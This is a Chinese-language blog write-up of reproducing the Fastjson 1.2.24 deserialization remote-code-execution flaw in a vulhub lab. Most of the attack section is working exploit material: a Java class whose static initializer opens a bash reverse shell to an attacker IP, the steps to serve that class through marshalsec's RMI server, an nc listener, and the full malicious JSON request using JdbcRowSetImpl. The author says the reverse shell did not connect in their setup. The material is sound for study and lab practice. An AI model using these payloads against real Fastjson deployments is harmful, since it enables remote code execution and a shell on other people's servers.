赞
踩
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。
漏洞成因:
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。
docker-compose up -d
bp抓个包,GET改成POST,添加Content-Type字段为application/json,再添加请求参数,可以发现name返回值已经改成了Lili
如果他对于java对象也有回应,那fastjson漏洞不就在眼前了~
在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件,内容为:(注意修改为自己的攻击机ip)
// javac TouchFile.java import java.lang.Runtime; import java.lang.Process; public class TouchFile { static { try { Runtime rt = Runtime.getRuntime(); String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.239.128/2333 0>&1"}; Process pc = rt.exec(commands); pc.waitFor(); } catch (Exception e) { // do nothing } } }
编译java文件
把编译好的class文件传到外网系统中(这里我传到kali服务器中),并在class文件所在的目录,Python起一个http服务
python -m SimpleHTTPServer 4444
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class
git clone https://github.com/mbechler/marshalsec (安装marshalsec)
source /etc/profile
cd marshalsec/
mvn clean package -DskipTests
编译成功
进入target目录,可以查看到marshalsec-0.0.3-SNAPSHOT-all.jar
开启RMI服务(marshalsec-master/target 目录下 )
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.239.128:4444/#TouchFile" 9999
另起一个终端开启监听(nc -lvnp 2333)
nc -lvp 2333
在192.168.239.128:8090处用bp抓包,构造如下POST请求包
POST / HTTP/1.1 Host: your-ip:8090 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0) Connection: close Content-Type: application/json Content-Length: 167 { "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"rmi://192.168.239.128:9999/TouchFile", "autoCommit":true } }
发送,这俩都有反应
按道理来说,应该监听的2333端口也反弹shell了,但我这边一点反应没有,不应该啊!
附一张别人成功的图= =
https://blog.csdn.net/m0_54899775/article/details/122530463
今天好像诸事不顺,复现两个漏洞全都卡半路了。
个人觉得上面复现失败可能是因为java 和javac的版本不一致,尝试了几个网上的方法都失败了(环境问题真的是头大,搞一天了),打算快照重开了。
另外发现kali自带的bp在jdk17版本以上貌似用不了,于是乎我又双叒叕下载了jdk1.8,结果也不行,最后下回了jdk11,才能正常打开bp
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。